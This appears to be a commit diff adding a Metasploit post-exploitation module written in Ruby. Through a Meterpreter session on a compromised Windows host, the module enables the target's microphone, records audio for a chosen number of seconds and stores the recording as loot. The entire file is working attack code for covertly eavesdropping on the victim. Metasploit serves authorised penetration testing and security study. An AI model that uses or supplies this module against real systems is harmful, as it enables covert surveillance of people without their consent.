1
+ ##
2
+ # This file is part of the Metasploit Framework and may be subject to
3
+ # redistribution and commercial restrictions. Please see the Metasploit
4
+ # web site for more information on licensing and terms of use.
5
+ # http://metasploit.com/
6
+ ##
7
+
8
+ require 'msf/core'
9
+ require 'rex'
10
+
11
+ class Metasploit3 < Msf ::Post
12
+
13
+ include Msf ::Auxiliary ::Report
14
+
15
+ def initialize ( info = { } )
16
+ super ( update_info ( info ,
17
+ 'Name' => 'Multi Manage Record Microphone' ,
18
+ 'Description' => %q{
19
+ This module will enable and record your target's microphone.
20
+ } ,
21
+ 'License' => MSF_LICENSE ,
22
+ 'Author' => [ 'sinn3r' ] ,
23
+ 'Platform' => [ 'win' ] ,
24
+ 'SessionTypes' => [ 'meterpreter' ]
25
+ ) )
26
+
27
+ register_options (
28
+ [
29
+ OptInt . new ( 'DURATION' , [ false , 'Number of seconds to record' , 5 ] )
30
+ ] , self . class )
31
+ end
32
+
33
+ def rhost
34
+ client . sock . peerhost
35
+ end
36
+
37
+ def progress
38
+ timeout = ( datastore [ 'DURATION' ] < 1 ) ? 1 : ( datastore [ 'DURATION' ] *0.1 )
39
+ datastore [ 'DURATION' ] . times do |i |
40
+ print_status ( "Recording: #{ ( Float ( i +1 ) /datastore [ 'DURATION' ] * 100 ) . round } % done..." )
41
+ select ( nil , nil , nil , timeout )
42
+ end
43
+ end
44
+
45
+ def run
46
+ if client . nil?
47
+ print_error ( "Invalid session ID selected. Make sure the host isn't dead." )
48
+ return
49
+ end
50
+
51
+ data = nil
52
+
53
+ begin
54
+ t = framework . threads . spawn ( "prog" , false ) { progress }
55
+ data = client . webcam . record_mic ( datastore [ 'DURATION' ] )
56
+ rescue Rex ::Post ::Meterpreter ::RequestError => e
57
+ print_error ( e . message )
58
+ return
59
+ ensure
60
+ t . kill
61
+ end
62
+
63
+ if data
64
+ print_status ( "#{ rhost } - Audio size: (#{ data . length . to_s } bytes)" )
65
+ p = store_loot (
66
+ "#{ rhost } .webcam.snapshot" ,
67
+ 'application/octet-stream' ,
68
+ rhost ,
69
+ data ,
70
+ "#{ rhost } _audio.wav" ,
71
+ "#{ rhost } Audio Recording"
72
+ )
73
+
74
+ print_good ( "#{ rhost } - Audio recording saved: #{ p } " )
75
+ end
76
+ end
77
+
78
+ end
0 commit comments